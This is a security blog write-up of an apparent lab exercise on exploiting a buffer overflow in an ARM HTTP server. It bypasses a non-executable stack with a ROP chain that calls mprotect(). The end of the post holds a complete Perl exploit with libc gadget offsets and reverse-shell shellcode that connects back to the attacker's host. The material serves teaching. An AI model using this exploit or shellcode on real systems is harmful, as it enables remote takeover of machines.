ARM Exploitation — Defeating NX By Invoking mprotect() Using ROP

Keith Tay
InfoSec Write-ups
Published in
9 min readJan 25, 2021

In this write-up, I will detail my walkthrough on exploiting a vulnerable HTTP web server with a non-executable stack using the return-to-libc attack. In addition, the exploit will leverage the Return-Oriented Programming (ROP) technique to chain gadgets found in the libc to (1) invoke mprotect() to modify the stack permission to allow for read/write/execute and (2) execute our shellcode from the stack.

What is Return-to-libc?

If you have done buffer overflow exercises before, you would have known that the technique is to overflow the program with an excessive number of characters, such that your payload overflows the program counter and the contents within the stack. The goal is to modify the program counter to jump to the stack address where the attacker’s shellcode is executed. However, if the program has its stack permission set to non-execute, this concept will not fly.

Figure 1 — Stack is non-executable & libc is executable.

To overcome this issue, we can make use of the C standard library (‘libc’) to directly execute pre-existing functions (e.g. system, mprotect, etc.).

What is ROP?

Quoting from Wikipedia, ROP is a technique where an attacker gains control of the call stack to hijack program control flow and then executes carefully chosen machine instruction sequences that are already present in the machine’s memory, called “gadgets”. Each gadget typically ends in a return instruction and is located in a subroutine within the existing program and/or shared library code. Chained together, these gadgets allow an attacker to perform arbitrary operations on an endpoint.

A very good analogy I often refer to is a newspaper. Imagine the libc as a newspaper with tons of codes in it. Instead of executing the payload directly from the stack, the same can be achieved by executing the codes from the libc. We can extract (chain) these codes (gadgets) from different pages to perform our execution.

Figure 2 — Newspaper analogy on chaining gadgets from libc

What I really enjoy about ROP is that there are multiple ways to achieve the same end goal. It forces me to think out of the box and piece different gadgets together. The concept is like a tangram, where there are many different pieces of shapes and sizes. The objective is to make use of specific pieces to fit nicely into the square border, which, could have many different possibilities.

Figure 3: Tangram analogy

The vulnerable HTTP web server

Like all other buffer overflow exercises, the first step is to identify the offset to the Program Counter ($PC) and the offset to the contents of the Stack Pointer ($SP). In Kali, we can invoke the ‘pattern_create.rb’ script to generate a unique pattern string which we can later use to identify the offset of these registers.

GET /Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A HTTP/1.0
Figure 4: Program state when it crashes.

When the program crashes, we can determine the offset by extracting the values stored in the $PC and the contents in the $SP.

Just a pointer to note, in ARM architecture, a program can change from ARM (4 bytes) to Thumb (2 bytes) and vice versa. It's $PC counter least significant bit will always be an even number (0). Assuming we are performing a typical buffer overflow with tons of ‘A’s which translates to 0x41, the $PC will be reflected as 0x41414140 (THUMB flag set to 0x1) instead of 0x41414141. Thus in this case, notice the THUMB flag is set, and thus, we have to add 1 to the $PC when using the ‘pattern_offset.rb’ tool in Kali.

Figure 5: Using ‘pattern_offset.rb’ in kali to determine the offset of $PC and $SP respectively.
Figure 6: State to control the $PC and the contents within the $SP

To validate the results discovered, I modified the exploit script as follows:

#!/usr/bin/perl
$| = 1;
$buf = “A” x 347;
$buf .= “B” x 4;
$buf .= “A” x 16;
$buf .= “D” x 50;
$uri = $buf;
# URL Encode
$uri =~ s/([^A-Za-z0–9\/])/sprintf(“%%%02X”, ord($1))/seg;
$request = “GET /${uri} HTTP/1.0\n\n”;
print $request;
Figure 7: Controlling the $PC and the $SP contents.
Figure 8: Stack is non-executable.

At this point of time, I have managed to overwrite the $PC and the contents within the $SP. However, I am still unable to execute the shellcodes in the stack. The next step is to invoke mprotect() in libc to modify the stack permissions.

What is mprotect()?

As described in the man page of Linux, mprotect is a function that modifies the permissions on a region of memory. It takes in three parameters:

  • The starting address of the memory region.
  • The length of the region. In short, where should the ending address be?
  • The permission settings
    (PROT_READ — 0x1, PROT_WRITE — 0x2, PROT_EXEC — 0x4, PROT_NONE — 0x0)
Figure 9: Manual page on mprotect()

With information on the mprotect, the end goal was to ensure that the following registers are set with the following values prior to invoking the mprotect call.

  • R0 = 0xbeffb000 (referencing to Figure 7, the $SP address is increasing starting from 0xbeffb3a8. Thus, it is safe to start from this address)
  • R1 = 0x01010101 (Big enough length to fit our payload in the stack, with no null bytes in our codes)
  • R2 = 0x0000007 (To allow for read, write and execute)

Finding relevant Gadgets from libc to set R0, R1, and R2

Here comes the fun part, to find gadgets from the ‘newspaper’ to set the register's value. I made use of the tool ‘Ropper’ on the extracted libc file ‘/lib/arm-linux-gnueabihf/libc-2.13.so’. It is important to search across both ARM and Thumb states for possible gadgets.

Figure 10: Ropper in ARM mode
Figure 11: Ropper in ARMThumb mode

Below are some useful tips when using the search feature.

(libc-2.13.so/ELF/ARMTHUMB)> help search
search [/<quality>/] <string> — search gadgets.
/quality/ The quality of the gadget (1 = best). The better the quality the less instructions are between the found instruction and ret? any character% any string

Gadgets to set R1 = 0x01010101

I have decided to start off with finding gadgets for R1 and R2 as it more straightforward as compared to R0. In the entire exploit script, we have to make sure that no null byte (i.e. 0x00) exist in the payload, otherwise the exploit will not be successful.

Since I can control the contents of the stack, the simplest way is to look for a pop instruction that allows me to put the next value of the stack to R1. By doing a simple search, I found a gadget that does ‘pop {r1, pc}’. I can simply put the value of 0x01010101 into R1 and control the next return address to be placed into the program counter.

Figure 12: Instruction in libc that pops the value in stack to r1 and the next value in stack to the program counter.
Figure 13: Mapping the exploit script for R1.

Gadgets to set R2 = 0x0000007

For R2, since I am unable to put null bytes into the stack (0x00000007), I had to look for gadgets that ‘mov’ immediate value of 7 into any register. Doing a search, I found a gadget that moves an immediate value of 7 to R0 and pop values of the stack into R4, R5, R6, PC.

Figure 14: Move the immediate value 7 to R0.

Great! Now, I had to find a gadget that moves R0 value to R2. Doing a search on ‘mov r2, r0’ had no results. However, if we attempt to use ‘movs r2,r0’, there were tons of results returned.

*MOVS instruction performs the same operation as the MOV instruction, but also updates the N and Z flags.

Figure 15: Moving the value of R0 to R2
Figure 16: Mapping the exploit script for R2.

Gadgets to set R0 = 0xbeffb000

Setting R0 is slightly trickier. For such a big address value, I had to make use of arithmetic operations (AND, ADD, SUB, EOR etc.) and at the same time, ensure that no null bytes exist. Thus, I had to devise on what are the possible means to achieve the desired results.

I attempted to search for ‘and’ operations and noticed that an instruction takes R0 and R3 and stores the value into R0. Subsequently, it branches into the link register.

Figure 17: AND instruction against R0 and R3

In my mind, I did some calculation, if R0 = 0xbeffb010 AND R3 = 0xfffff001, that will result in 0xbeffb000. First, I needed to find a gadget that allows me to directly put these values in R0 and R3.

Figure 18: A pop instruction to put our defined values into R0 and R3

Secondly, I had to tackle the value in the link register (LR). I attempted to look for a gadget that can overwrite the LR with a value of my calling. Doing a simple search, I found a pop {lr} instruction which subsequently branches to the LR.

Figure 19: A pop instruction to overwrite the LR register

The easiest way was to define a pop {PC} instruction in the LR address as discovered in Figure 18, which will pop the next item in the stack to the PC if an instruction branches into LR.

Figure 20: Mapping the exploit script for R0.

Invoking mprotect & executing shell code in stack

The next step after setting the three register values is to call the mprotect function in libc. Similarly, we can identify the offset to mprotect by using the print command in GDB.

Figure 21: Using GDB to identify the offset of mprotect

The last step after modifying the permissions of the stack permission is to jump to the Stack Pointer and executing the attacker’s shell code. By leveraging on the LR = pop {PC}, once mprotect returns to the caller function, it will then pop the latest instruction in the stack to the PC. Thus, we can set BX SP to be directly after mprotect, which will then execute the shell code.

Figure 22: Searching for a BX SP instruction
Figure 23: Mapping the final portion of the exploit script.

Putting the pieces together

Now we have identified all our gadgets, it is time to put the pieces together.

Figure 24: Final exploit script

As part of debugging, I placed junk address to crash the program prior to mprotect’s invocation to observe the values stored in R0, R1 and R2.

Figure 25: The state prior to the invocation of mprotect

Similarly, I placed junk address to crash the program after mprotect’s invocation to observe the stack permissions changed to Read/Write/Execute as intended.

Figure 26: The state after the invocation of mprotect

In my shell code, I placed a reverse shell payload. By setting a listener on my attacker’s machine, I obtained an interactive shell from the victim’s endpoint!

Figure 27: Successful execution of shell code
#!/usr/bin/perl$| = 1;$libc = 0xb6e9c000;                     # libc base
$shellcode = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x0a\xa1\x4a\x70\x10\x22\x02\x37\x01\xdf\x3f\x27\x20\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x04\xa0\x92\x1a\x49\x1a\xc2\x71\x0b\x27\x01\xdf\x02\xff\x11\x5c\xc0\xa8\xc8\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58";
$buf = "A" x 347;
$buf .= pack("V", $libc + 0x1019d4); #pop {r1, pc}
$buf .= "C" x 16;
$buf .= pack("V", 0x01010101); # set r1
$buf .= pack("V", $libc + 0xd68ec); #mov r0, #7; pop {r4,r5,r6,pc}
$buf .= "A" x 4; # r4
$buf .= "B" x 4; # r5
$buf .= "D" x 4; # r6
$buf .= pack("V", $libc + 0xfe087); #mov r2, r0; pop {r4, pc}
$buf .= "A" x 4;
$buf .= pack("V", $libc + 0x75a69); #pop {r0, r3, pc}
$buf .= pack("V", 0xbeffb010); #r0
$buf .= pack("V", 0xfffff001); #r3
$buf .= pack("V", $libc + 0x3c420); #pop {lr}; add sp, sp, #4; bx lr;
$buf .= pack("V", $libc + 0x8cec5); #pop {pc};
$buf .= "A" x 4;
$buf .= pack("V", $libc + 0x64934); #and r0, r3, r0; bx lr;
$buf .= pack("V", $libc + 0xc70f0); #mprotect()
$buf .= pack("V", $libc + 0x5531); #bx sp;
$buf .= $shellcode;
$uri = $buf;
# URL Encode
$uri =~ s/([^A-Za-z0-9\/])/sprintf("%%%02X", ord($1))/seg;
$request = "GET /${uri} HTTP/1.0\n\n";
print $request;

All in all, what I shared was just one of the many methods to bypass an NX stack by invoking the mprotect() function. I really enjoyed ROP technique as it really requires me to plan ahead and to think about how different gadgets can work together. The most satisfying part is the completion of the entire exploit, where the shell code gets executed successfully to achieve the final desired result.

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

Published in InfoSec Write-ups

A collection of write-ups from the best hackers in the world on topics ranging from bug bounties and CTFs to vulnhub machines, hardware challenges and real life encounters. Subscribe to our weekly newsletter for the coolest infosec updates: https://weekly.infosecwriteups.com/

Written by Keith Tay

Cyber-Enthusiast | IoT Specialist | Penetration Testing | Red Teaming

No responses yet

Write a response